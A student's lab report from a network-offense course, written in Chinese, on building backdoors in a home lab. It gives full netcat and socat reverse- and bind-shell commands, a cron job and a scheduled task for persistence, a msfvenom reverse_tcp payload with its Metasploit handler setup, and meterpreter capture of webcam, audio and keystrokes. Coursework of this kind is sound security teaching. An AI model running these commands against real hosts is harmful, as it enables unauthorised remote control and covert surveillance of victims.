• 2018-2019-2 《网络对抗技术》 Exp2 后门原理与实践


    实验二 后门原理与实践

    实验内容

    • (1) 使用netcat获取主机操作Shell,cron启动
    • (2) 使用socat获取主机操作Shell, 任务计划启动
    • (3) 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    • (4) 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    实验工具

    • Netcat

    又名nc,ncat。是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。

    Windows: 课程主页附件中下载ncat.rar解压即可使用。

    • Socat

    netcat增强版,超级netcat工具。

    windows版见附件。解压即用,不用安装。

    任何代理、转发等功能都可以用该工具实现。

    • Meterpreter

    kali机自带,只在kali中用。

    具有强大的功能,特别是其socks代理,内网渗透测试神器。

    熟悉后门工具

    在实验开始前先熟悉一下ncat的使用,使用前确定Linux和Windows都安装好了ncat。

    我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。

    确定ip地址

    首先确定三个端的ip地址。

    在本机Windows、虚拟机Win7中命令行中输入指令 ipconfig 查看ip地址,Linux中终端中输入指令 ifconfig 查看ip地址。

    如图所见,主机Windows的ip地址为 192.168.199.209 ;

    虚拟机Win7的ip地址为 192.168.10.137 ;Linux的ip地址为 192.168.10.136 。

    Netcat

    1.Windows获得Linux操作shell

     windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l 5234  ,打开监听,其中5234为监听的端口。

    在Linux中反弹连接Windows, nc 192.168.10.137 5234 -e /bin/sh ,使用 -e 选项执行shell程序,指令中的ip地址为虚拟机Win7的ip地址。

     

    • Windows成功获得Linux的shell,此时就可以通过windows端的命令行实现对linux的操作了

    2.Windows获得Linux操作shell

    • 在Linux终端输入 nc -l -p 5234 打开监听

     

    • windows反弹连接linux,指令为 ncat.exe -e cmd.exe 192.168.10.136 5234 

    • Linux成功获得了Windows的控制权,此时就可以通过linux来控制windows主机了

    3.使用netcat传输数据

    • 在windows命令行输入命令:ncat.exe -l 5234,打开监听

    • 在Linux终端输入nc 192.168.10.137 5234,连接到windows的5234端口,此时输入任意语句

    • 成功实现linux和windows之间的数据传输

    Meterpreter

    • 后门就是一个程序。
    • 传统的理解是:有人编写一个后门程序,大家拿来用。
    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
      • 基本功能(基本的连接、执行指令)
      • 扩展功能(如搜集用户信息、安装服务等功能)
      • 编码模式
      • 运行平台
      • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

    这一部分也会在接下来的实验中动手实践的~

    实验步骤

    一、使用netcat获取主机操作Shell,cron启动

    •  Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

    (1)在windows命令行,输入命令 ncat.exe -l -p 5234 ,监听本机的5234端口。

    (2)在Linux终端,输入 crontab -e ,编辑一条定时任务,选择3。

    (3)vim编辑器中用 i 改为插入模式,在最后一行插入 54 * * * * /bin/netcat 192.168.10.137 5234 -e /bin/sh 

    后输入 :wq! 保存并退出,上述指令表示在每小时的54分运行此命令。

    • 到时间之后,输入 ls 指令,可以看到windows端已经获得了shell

    二、使用Socat获取主机操作Shell, 任务计划启动

    socat是ncat的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。

    作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

    实践前在Windows安装好socat。

    (1)在Win7打开控制面板,分别选中 管理工具 、 任务计划程序 、 创建任务 

    (2)在任务计划程序中创建新任务,填写任务名称,新建一个触发器。

     

     

    (3)在创建任务中创建新操作,在 程序或脚本 中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5234 exec:cmd.exe,pty,stderr 。

    这个命令的作用是把 cmd.exe 绑定到端口 5234 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上

    找到自己刚刚创建的任务,右键运行,会弹出一个名为 taskeng.exe 的框

    (4)锁定计算机,创建的任务开始运行。

    (5)在Linux终端输入指令 socat - tcp:192.168.10.137:5234  ,发现成功获得了cmd shell,能够输入Windows的命令

     

    三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (1)在Linux终端输入指令生成后门程序

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.136 LPORT=5234 -f exe > 20165234.exe 

    其中 192.168.10.136 为虚拟机Linux的ip地址

    (2)通过nc传输已经生成的 20165234.exe 程序文件

    在Win7中输入:ncat.exe -lv 5234 > 20165234.exe 监听并接受后门程序;

    在Linux中输入: nc 192.168.10.137 5234 < 20165234.exe 向Win7传输后门程序。

    在Win7中运行后门程序

    (3)在Linux中输入指令 msfconsole ,进入msf命令行,msf启动监听前需要进行一些设置

     

    输入以下命令进行设置:

    use exploit/multi/handler  /*进入handler模式*/
    
    set payload windows/meterpreter/reverse_tcp  /*对应生成的后门程序设置payload*/
    
    show options  /*查看当前信息状态*/
    
    set LHOST 192.168.10.136  /*设置LHOST,其中ip为Linux的ip*/
    
    set LPORT 5234 /*设置LPORT*/
    
    exploit /*启动监听*/

    (4)启动监听后,在win中运行后门程序,此时Linux已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。

    四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    (1)获取目标主机音频

    (2)获取目标主机摄像头

     

    显示错误,这是因为win7上没有装驱动。解决方法为:在Win7虚拟机窗口右下角有个摄像头图标,点击图标即可。

    再次尝试就成功啦,虽然拍出来的效果有些诡异...(图中是拍了很多次才满意)

    (3)获取目标主机击键记录

     

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    浏览网站所附带的软件,在不正规的网站下载软件,使用外挂以及盗版的软件。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    win:设置为开机自启动

    Linux:将木马设为定时启动

    (3)Meterpreter有哪些给你映像深刻的功能?

    可以说吊炸天了,可以获取目标主机音频、摄像头、击键记录等内容,我觉得仅仅这几项就对受害者威胁很大了。

    (4)如何发现自己有系统有没有被安装后门?

    安装专门的杀毒软件,实时防护,并定期检测电脑安全情况。在防火墙看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的,要找一下对应的进程, 找到对应进程,对相应进程进行抓包,查看其通信的数据,分析是不是后门。

    实验感想

    对照老师的教程走一遍难度并不大,所以本次实验总体还是较为顺利的,没有遇到什么大问题。

    对于“后门”这个概念,我的认知可能仅限于平时看到的相关新闻了,而本次实验正如其名,不但让我了解其原理还亲自动手去实践,观察攻击者与受害者的行为。

    虽然我只是接触到了一些简单的指令,还没有进行更多更深入的了解,但还是深切地感受到了Metasploit的可怕之处。

    最大的感想就是......我已经把摄像头给贴住了......当威胁来临的时候想都想不到,所以我们一定要时刻注意自己的信息安全......

  • 相关阅读:
    [置顶] 输入子系统
    多线程知识点总结
    mybatis知识点总结
    redis知识点及常见面试题
    spring知识点(面试题)
    【linux】vim常用命令
    Linux常用命令大全
    Java 位运算(移位、位与、或、异或、非)
    图论之堆优化的Prim
    BZOJ3261 最大异或和 解题报告(可持久化Trie树)
  • 原文地址:https://www.cnblogs.com/IconicV/p/10590518.html
Copyright © 2020-2023  润新知